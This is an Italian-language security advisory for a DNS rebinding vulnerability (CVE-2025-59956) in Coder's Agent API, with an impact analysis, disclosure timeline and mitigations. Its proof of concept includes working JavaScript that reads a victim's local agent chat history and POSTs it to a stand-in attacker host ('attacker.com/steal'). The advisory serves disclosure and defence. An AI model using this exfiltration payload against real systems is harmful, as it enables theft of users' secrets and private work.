L'Agent API di Coder espone la cronologia delle chat degli utenti tramite un attacco di DNS rebinding
Autore: Evan Harris
Componente interessato: Agent API di Coder
CVE: CVE-2025-59956
Punteggio CVSS 3.1: 6.5 (Medio) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Panoramica
L’Agent API di Coder è un’API HTTP open source per Claude Code, Goose, Aider, Gemini, Amp e Codex.
MCPSec ha individuato una vulnerabilità di DNS rebinding nell’Agent API che consente ad attaccanti remoti di esfiltrare la cronologia dei messaggi di Claude Code di un utente.
Coder ha risolto il problema nella release v0.4.0. Gli utenti dell’Agent API dovrebbero aggiornare a questa versione o a una successiva.
Impatto
Gli attaccanti ottengono pieno accesso GET all’endpoint /messages servito dall’Agent API.
Ciò consente l’esfiltrazione non autorizzata di dati sensibili dell’utente, in particolare la cronologia locale dei messaggi, che può includere chiavi segrete, contenuti del file system e proprietà intellettuale su cui l’utente sta lavorando localmente.
Il DNS rebinding può verificarsi in pochi secondi una volta stabilita la connessione a un server web malevolo.
Proof of Concept
Si considerino le seguenti ipotesi:
- La macchina della vittima esegue l’Agent API.
- La vittima naviga verso un sito web malevolo.
- Il sito web esegue un attacco di DNS rebinding per manipolare il browser web della vittima in modo che interagisca con l’Agent API vulnerabile per conto dell’attaccante.
Una volta completato il DNS rebinding, un attaccante può interrogare l’endpoint /messages servito localmente. L’intera cronologia delle chat di una vittima con l’Agent API può essere esfiltrata verso il server di un attaccante.
MCPSec ha eseguito un attacco proof of concept nel modo seguente:
-
Distribuire un’applicazione di DNS rebinding (ad es. Singularity of Origin).
-
Costruire un payload servito da un sito web malevolo per ottenere ed esfiltrare i dati.
Questo codice JavaScript, servito dal sito malevolo, recupera la cronologia dei messaggi e la invia all’attaccante.
const AgentAPI = () => {
function attack(headers, cookie, body) {
fetch('http://localhost:3284/messages', {
method: 'GET',
mode: "cors",
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal'
response.json().then(victimMessageHistory => {
fetch(ATTACKER_SERVER, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(victimMessageHistory)
}).then(r => {
console.log("attacker server response", r)
}).catch(e => {
console.error('failed to post', e)
})
}).catch(e => {
console.error('failed to parse response ', e)
})
}).catch(e => {
console.error("failed to get messages", e)
})
}
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
async function isService(headers, cookie, body) {
let controller = new AbortController();
let signal = controller.signal;
return timeout(1000, fetch(`http://localhost:3284/docs`, {
mode: 'no-cors',
credentials: 'omit',
signal
}), controller)
.then(response => {
return true;
})
.catch(e => {
return (false);
})
}
return {
attack,
isService
}
}
Registry["AgentAPI"] = AgentAPI();
L’endpoint /messages viene servito sulla macchina locale della vittima e, quando interrogato, risponde con la sua cronologia delle chat.
- L’attaccante deve eseguire un server di raccolta dati che riceva una richiesta POST. Il contenuto della richiesta POST dovrebbe essere la risposta dell’endpoint /messages dell’Agent API della vittima.
Sulla macchina della vittima, all’Agent API è stato chiesto di esaminare il file system locale. Questo è ciò che è stato inviato al server di raccolta dati dell’attaccante:
Di seguito un esempio dei dati JSON rubati a una vittima che aveva chiesto all’agente informazioni sul proprio file system locale.
{
"$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
"messages": [{
"id": 0,
"content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
"role": "agent",
"time": "2025-07-25T11:20:04.988043205+02:00"
}, {
"id": 1,
"content": "Hello, agent!",
"role": "user",
"time": "2025-07-25T13:11:16.699082236+02:00"
}, {
"id": 3,
"content": "tell me about my filessytem",
"role": "user",
"time": "2025-07-25T13:14:51.120102556+02:00"
}, {
"id": 4,
"content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
"role": "agent",
"time": "2025-07-25T13:15:10.681040365+02:00"
}]
}
Mitigazioni consigliate
Per gli utenti (immediato)
- Aggiornare immediatamente alla versione v0.4.0 o successiva dell’Agent API. Questa versione contiene la correzione della vulnerabilità.
Per gli sviluppatori (a lungo termine)
- Implementare una robusta validazione dell’header Host per tutte le API HTTP servite localmente, al fine di prevenire il DNS rebinding.
- Implementare la protezione CSRF per prevenire altre forme di attacchi cross-origin.
- Aggiungere avvisi di sicurezza nella documentazione degli strumenti che espongono servizi di rete locali.
Questa vulnerabilità è stata segnalata al team di Coder tramite pratiche di divulgazione responsabile. Coder ha risposto rapidamente per correggere il problema.
Cronologia della divulgazione
- 2025-07-25: Segnalazione iniziale della vulnerabilità inviata a Coder.
- 2025-07-25: Coder conferma la ricezione della segnalazione.
- 2025-07-29: Coder indica di essere riuscito a riprodurre e validare lo scenario dell’attacco.
- 2025-08-13: La vulnerabilità è stata corretta.
- 2025-08-21: Coder ha deciso di assegnare una ricompensa di sicurezza per la segnalazione.
- 2025-09-09: Concordata una data di pubblicazione dell’avviso reciprocamente accettabile.
- 2025-09-19: Avviso di sicurezza pubblicato.
Conclusione
La vulnerabilità di DNS rebinding nell’Agent API di Coder evidenzia una sfida di sicurezza critica per il crescente ecosistema di strumenti di sviluppo locali basati sull’IA. Sebbene questi strumenti offrano funzionalità potenti, devono essere costruiti con una mentalità orientata alla sicurezza per proteggersi dalle minacce basate sul web.
Un ringraziamento al team di Coder per la sua risposta rapida e professionale nel correggere questa vulnerabilità. Tutti gli utenti dell’Agent API dovrebbero aggiornare all’ultima versione per garantire di essere protetti.